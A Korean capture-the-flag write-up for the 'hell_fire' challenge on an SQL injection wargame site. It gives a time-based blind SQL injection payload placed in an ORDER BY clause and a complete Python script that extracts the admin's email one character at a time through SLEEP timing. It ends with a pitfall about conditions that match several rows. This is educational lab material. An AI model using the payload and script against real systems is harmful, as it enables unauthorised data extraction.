hell_fire

문제에서는 $_GET[order] 입력 값에 대해 아래 문자들을 사용할 수 없도록 필터링 로직이 적용되어 있다.

  • prob _ . proc union

이번 문제는 ORDER BY 절에 쿼리문을 삽입하는 문제다. “CASE WHEN, IF” 등의 문자를 사용할 수 있으므로
임의의 조건문을 작성하여 Time-based SQLi 공격 수행이 가능했다. (admin 계정의 패스워드 길이는 18바이트 였다.)

(공격 페이로드) 1,(CASE WHEN (id='admin' AND ORD(SUBSTR(email,1,1))<1000) THEN SLEEP(2) ELSE 999 END)


이후 과정은 다른 문제들과 동일하다. Time-based SQLi 공격이 가능하므로 파이썬 스크립트로 이메일을 추출한다.

import requests
import time
 
t_url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(1, 33):
    low = 1
    high = 2000
 
    while low <= high:
        mid = (low + high) // 2
        payload = ( f"?order=1,(CASE%20WHEN%20(id=%27admin%27%20AND%20ORD(SUBSTR(email,{i},1))>{mid})%20THEN%20SLEEP(2)%20ELSE%20999%20END)" )
        
        start = time.time()
        r = requests.get(t_url + payload, cookies=cookie)
        end = time.time()
 
        if (int(end - start)) > 1:    
            low = mid + 1 
            time.sleep(2)
        else:
            high = mid - 1 
 
        if low > high:
            print(f"low {low} / mid {mid} / high {high}")
            decimal = high + 1
            password = password + chr(decimal)
            numValue = numValue + str(decimal) + ' '
            
            print(f"Extracted admins password : \n\t[+] {decimal}\n\t[+] {password}")
            break
            
'''실행 결과
Extracted admins password : 
        [+] 109
        [+] admin_secure_email@emai1.com
'''

쨘, 추출한 패스워드를 email 파라미터에 전달하면 문제 풀이에 성공한다.

https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?email=admin_secure_email@emai1.com  


번외

admin 계정의 패스워드를 추출할 때 주의해야 할 사항이 있다.
order 파라미터에 1을 입력해서 테이블 정보를 조회하면 아래 2개의 행이 조회된다.


이 때, 공격 페이로드를 다음과 같이 사용하면 admin 계정의 패스워드에 대해서 ORD(SUBSTR(…)) 이 수행되지 않고 조회된 모든 행에 대해서 조건을 만족하는 값을 조회하게 된다.

  • 1,(CASE WHEN (ORD(SUBSTR(email,1,1))<1000) THEN SLEEP(2) ELSE 999 END)

따라서, “CASE WHEN” 절에 내가 찾으려는 계정의 id 혹은 score 를 지정해줘서 표현을 명확히 해줘야 한다.

  • 1,(CASE WHEN (id='admin' AND ORD(SUBSTR(email,1,1))<1000) THEN SLEEP(2) ELSE 999 END)

그렇지 않으면 아래 블라인드 인젝션을 수행할 때 아래 2개 메일 정보를 모두 사용하기 때문에 끔찍한 혼종이 탄생하게 된다.

r  u  b  i  y  a  8  0  5  @  g  m  a  i   l   .  c  m
a d  m i  n  _  s  e   c  u   r   e   _ e  m a  i   l   @emai1.com

→ rumiyasecurmaimaim@email.com

🐛.. 🐛.. 🐛..